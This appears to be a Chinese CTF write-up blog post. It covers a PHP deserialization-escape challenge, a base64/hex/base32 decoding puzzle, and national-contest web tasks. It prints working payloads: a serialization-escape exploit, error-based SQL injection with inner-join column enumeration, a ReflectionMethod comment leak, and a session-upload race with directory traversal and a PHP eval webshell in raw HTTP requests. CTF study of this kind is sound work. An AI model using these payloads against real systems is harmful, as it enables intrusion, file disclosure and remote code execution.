$log_unser = unserialize($log);
?>

这道题应该是经过了三重过滤:
首先通过自定义过滤函数is_serialized检测传入的字符串是否为正确的序列化字符串。
接着会将字符串中的A类名和B类名替换为C和D作为检测该序列化字符串是否能正常进行反序列化。
最后将一些字符和字符串flag替换为空,然后进行反序列化。
终于明白了(wp出来了
构造反序列化逃逸,首先要了解一点序列化字符串的反序列化过程
先给出exp和payload:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class A {
public $file='flagflagflagflagflagflag<';
public $weblogfile=';s:10:"weblogfile";s:<8:"flflagag.php";}';
}
$a=new A;
$a=serialize($a);

echo $a.'<br>';
$b = preg_replace("/[<>*#'|?\n ]/","",$a);
$b = str_replace('flag','',$b);

echo $b;
?>
得到payload:
O:1:"A":2:{s:4:"file";s:25:"flagflagflagflagflagflag<";s:10:"weblogfile";s:40:";s:10:"weblogfile";s:<8:"flflagag.php";}";}
O:1:"A":2:{s:4:"file";s:25:"";s:10:"weblogfile";s:40:";s:10:"weblogfile";s:8:"flag.php";}";}

上面一条是payload,下面一条是按题目中过滤后得到的,两条字符串都是可以正常进行反序列化的
O开始,1,表示有一个类,也就是A,这个类里有两个属性,读到一个属性长度为4,也就是file,它的值为长度是25的字符串,于是从冒号开始找25个字符串作为file的值,接着通过"闭合,同理,第二个属性weblogfile的值为长度是40的字符串,最后冒号闭合掉这个长度为40的字符串,最后找到}闭合掉这个序列化字符串。

接着看到第二个被过滤后的字符串,按照上面讲的规则,仍然是可以正常闭合的,因为为第二个属性找到长度为8的字符串并闭合后,接着找到}作为序列化字符串的闭合后,最终后面多余的部分";}就作废了,并不会抛出报错。
payload中的<flag都是作为凑长度或者绕过而加上的。
:<8:是用于绕过

{ .theme-legacy }
1
if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )

构造反序列化逃逸时必须保证经过过滤后的最终的序列化字符串仍然符合反序列化的规则。一但闭合出错就会导致抛出错误从而无法正确反序列化。

misc

签到

NTQ1NjcwNTg1MjMwNGU2MTRkN2E0ZTUwNTQ2YzU2NTg1NDdhNGU1NDRlMzAzNTQ3NTc0NTU5MzI0ZTQ2NTI0YjU0NTQ1NjU2NTM0NTZiMzM1MzU0MzAzZA==

base64特征
base64后
5456705852304e614d7a4e50546c5658547a4e544e303547574559324e46524b5454565653456b335354303d

16进制特征
16进制转字符串后
TVpXR0NaMzNPTlVXTzNTN05GWEY2NFRKTTVVSEk3ST0=

base32和base64特征
base64之后
MZWGCZ33ONUWO3S7NFXF64TJM5UHI7I=

base32和base64特征
base32之后
flag{sign_in_right}

国赛

一卷

easy_sql

注入,输入1'#,发现报错信息是后面有'),是单引号和括号闭合,然后查看字段数,查出是2,但联合注入查询的时候发现union被过滤了,接着用报错注入,用户名填:1')and extractvalue(1,('~',database()))#,密码部分一直不填,查到数据库是security,但进一步想查表名的时候却发现information又被过滤了
只好使用内连接查询,得先试出个表名,一般来说这种有登录界面的都有个叫users的表,于是尝试
1')and extractvalue(1,concat('~',(select group_concat(a) from users)))#
报错Unknown column 'a' in 'field list'
那么它真的就有这个表,那users表的标配字段名就是id,果然查到了,于是内连接查询:
1')and extractvalue(1,concat('~',(select * from(select * from users a inner join (select * from users)b using(id))c)))#
查到有username,再如法炮制,1')and extractvalue(1,concat('~',(select * from(select * from users a inner join (select * from users)b using(id,username))c)))#,得到还有password,再查询这些字段内的东西,结果都不是flag
于是合理猜测有一个叫flag的表,一查还真就有
那…通过对比两个表,看看有没有相同字段,1')and extractvalue(1,concat('~',(select * from(select * from users a inner join (select * from flag)b using(id,username))c)))#
结果报错结果是,username这个字段名不在表里面,同样换成password字段名也不在表里,那就意味着id这个字段名在表里
如法炮制:
1')and extractvalue(1,concat('~',(select * from(select * from flag a inner join (select * from flag)b using(id))c)))#
结果得到还有一个字段是no,还有一个字段可用,继续看看还有什么
1')and extractvalue(1,concat('~',(select * from(select * from flag a inner join (select * from flag)b using(id,no))c)))#
出现了一个长串的字符,Duplicate column name '0b6bfa70-a819-4996-9992-fcb5302b8b26',交了两次,发现这玩意儿并不是flag
于是查一查这个字段有什么,1')and extractvalue(1,concat('~',(select group_concat(0b6bfa70-a819-4996-9992-fcb5302b8b26)from flag)))#Unknown column '0b6bfa70' in 'field list',字段名里有减号不行啊,回想之前做过一道纯数字的字段也不行,当时是加上了`,于是字段名加上`
1')and extractvalue(1,concat('~',(select group_concat(`0b6bfa70-a819-4996-9992-fcb5302b8b26`)from flag)))#
出了


easy_source

hint很明显说明是源码泄露,www.zip没有,.git没有,.swp还没有。
于是找到笔记:用vim编辑器编写文件时,会有一个添加后缀为.swp的文件,如果正常退出的话,该文件会被删除,而异常退出,该文件会被保留用以恢复该文件,多次异常退出不会覆盖,而是会生成新的,如.swo为后缀的文件。
swp没有就试试.swo,试试.index.php.swo,有了,但这内容啥也没有,既然还有看不到的,哪应该就是注释了,再分析以下代码:

1
2
3
4
5
6
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

new ReflectionMethod($class, $method):反射回类和此方法,再加上获取注释,那就是:ReflectionClass::getDocComment,那么payload:?rc=ReflectionMethod&rb=a&ra=User&rd=getDocComment,对rb的值进行爆破,把每一个类都试一下,看看返回长度,得到flag在方法q里的注释。
出题人偷懒石锤->原题


二卷

midlle_source

这是一道文件包含题,但又在我传入的cf前面加上了文件名,那么就需要目录穿越,首先field用不上,接着试试:cf=/../../../../../../etc/passwd,有回显了,说明通过了file_exists函数的判段,那么我就可以读已知目录下的已知文件了,开搞,我就可以上传个文件,然后去文件包含,这里我利用到了PHP_SESSION_UPLOAD_PROGRESS,原因很简单,关于这个的信息我都知道了,因为经过尝试我发现了一个“.listing”,访问后,里面告诉我目录下有一个you_can_seeeeeeee_me.php,访问它,居然是phpinfo,于是我发现关于session的一切信息都在指向PHP_SESSION_UPLOAD_PROGRESS,同时还拿到了session.save_path: /var/lib/php/sessions/eejeebihfj,这就可以直接文件包含了,因为传上去的文件名字叫session_(PHPsession值):于是我开始构造上传文件信息,当然上传的文件是什么不重要,并且disable_function里面没有var_dumpscanfir,那就可以随便读目录了:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://123.60.215.249:26275/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST / HTTP/1.1
Host: 目标url
User-Agent:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------817151834966202188529467789
Content-Length: 406
Origin: 本地
Connection: close
Referer: 本地
Cookie: PHPSESSID=muhua
Upgrade-Insecure-Requests: 1

-----------------------------817151834966202188529467789
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

§1§<?php var_dump(scandir("/etc/"));echo "<br>";?>
-----------------------------817151834966202188529467789
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']);?>
-----------------------------817151834966202188529467789--

同时也构造了:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 目标url
User-Agent:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: 目标url
Connection: close
Referer: 目标url
Upgrade-Insecure-Requests: 1

cf=/../../../../../../var/lib/php/sessions/eejeebihfj/sess_muhua&a=§1§

然后同时爆破,因为phpinfo还写了session.upload_progress.cleanup On,传上去的东西会被删除,竞争上传,一边上传一边读取,于是跑出/etc/下一大堆文件夹,结合题目描述,奇怪的文件夹,既然是奇怪的,那就是毫无逻辑的名字,于是尝试读/etc/hccejfdhhc,发现下面果然又有一个奇怪的文件夹,如此重复几次,终于读到fl444444g,然后就无法再读了,结合题目描述,这就是flag文件了,想读取也很简单,既然题目可以用highlight_file(),那就没被禁,于是写好直接跑,读出!
感谢大佬们的文章

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

muhua WeChat Pay

WeChat Pay

muhua Alipay

Alipay

muhua PayPal

PayPal